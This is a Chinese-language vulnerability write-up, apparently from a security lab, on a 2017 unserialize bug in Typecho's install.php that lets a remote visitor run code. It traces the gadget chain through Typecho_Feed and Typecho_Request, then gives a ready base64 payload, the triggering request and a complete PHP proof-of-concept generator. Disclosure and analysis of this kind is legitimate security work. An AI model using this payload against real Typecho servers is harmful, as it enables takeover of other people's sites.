作者:LoRexxar'@知道創宇404實驗室 英文版本: http://www.bjnorthway.com/1097/
0x01 簡述
Typecho是一個簡單,輕巧的博客程序。基于PHP,使用多種數據庫(Mysql,PostgreSQL,SQLite)儲存數據。在GPL Version 2許可證下發行,是一個開源的程序,目前使用SVN來做版本管理。
2017年10月13日,Typecho爆出前臺代碼執行漏洞,知道創宇404團隊研究人員成功復現了該漏洞。
經過分析確認,該漏洞可以無限制執行代碼,通過這種方式可以導致getshell。
0x02 復現
打開安裝好的Typecho

生成對應的payload

YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
設置相應的cookie并發送請求向
http://127.0.0.1/install.php?finish

成功執行phpinfo
0x03 漏洞分析
漏洞的入口點在install.php,進入install.php首先經過兩個判斷
//判斷是否已經安裝
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 擋掉可能的跨站請求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
只要傳入GET參數finish,并設置referer為站內url即可。
跟入代碼,找到漏洞點入口點,install.php 232行到237行

看起來比較清楚,一個比較明顯的反序列化漏洞
問題在于如何利用,反序列化能夠利用的點必須要有相應的魔術方法配合。其中比較關鍵的只有幾個。
__destruct()
__wakeup()
__toString()
其中__destruct()是在對象被銷毀的時候自動調用,__Wakeup在反序列化的時候自動調用,__toString()是在調用對象的時候自動調用。
這里如果構造的反序列化是一個數組,其中adapter設置為某個類,就可以觸發相應類的__toString方法

尋找所有的toString方法,我暫時只找到一個可以利用的的類方法。
/var/Typecho/Feed.php 文件223行

順著分析tostring函數
290行 調用了$item['author']->screenName,這是一個當前類的私有變量

358行 同樣調用了同樣的變量,這里應該也是可以利用的

這里要提到一個特殊的魔術方法__get,__get會在讀取不可訪問的屬性的值的時候調用,我們可以通過設置item來調用某個位置的__get魔術方法,讓我們接著尋找。
/var/Typecho/Request.php 第269行應該是唯一一個可利用的__get方法.

跟入get函數

最后進入159行 applyFilter函數

我們找到了call_user_func函數,回溯整個利用鏈
我們可以通過設置item['author']來控制Typecho_Request類中的私有變量,這樣類中的_filter和_params['screenName']都可控,call_user_func函數變量可控,任意代碼執行。
但是當我們按照上面的所有流程構造poc之后,發請求到服務器,卻會返回500.
回顧一下代碼
在install.php的開始,調用了ob_start()
在php.net上關于ob_start的解釋是這樣的。

因為我們上面對象注入的代碼觸發了原本的exception,導致ob_end_clean()執行,原本的輸出會在緩沖區被清理。
我們必須想一個辦法強制退出,使得代碼不會執行到exception,這樣原本的緩沖區數據就會被輸出出來。
這里有兩個辦法。
1、因為call_user_func函數處是一個循環,我們可以通過設置數組來控制第二次執行的函數,然后找一處exit跳出,緩沖區中的數據就會被輸出出來。
2、第二個辦法就是在命令執行之后,想辦法造成一個報錯,語句報錯就會強制停止,這樣緩沖區中的數據仍然會被輸出出來。
解決了這個問題,整個利用ROP鏈就成立了
0x04 poc
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
// $this->_params['screenName'] = 'whoami';
$this->_params['screenName'] = -1;
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
/** 定義ATOM 1.0類型 */
const ATOM1 = 'ATOM 1.0';
/** 定義RSS時間格式 */
const DATE_RFC822 = 'r';
/** 定義ATOM時間格式 */
const DATE_W3CDTF = 'c';
/** 定義行結束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct()
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
0x05 Reference
-
[1] Typecho官網
-
[2] Typecho github鏈接
-
[3] Typecho 官方補丁
- [4] Typecho install.php 反序列化導致任意代碼執行
0x06 后記
我們在10月25日收到p0的漏洞分析投稿http://p0sec.net/index.php/archives/114/,與我們撞洞了,這里一并表示感謝。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/424/
暫無評論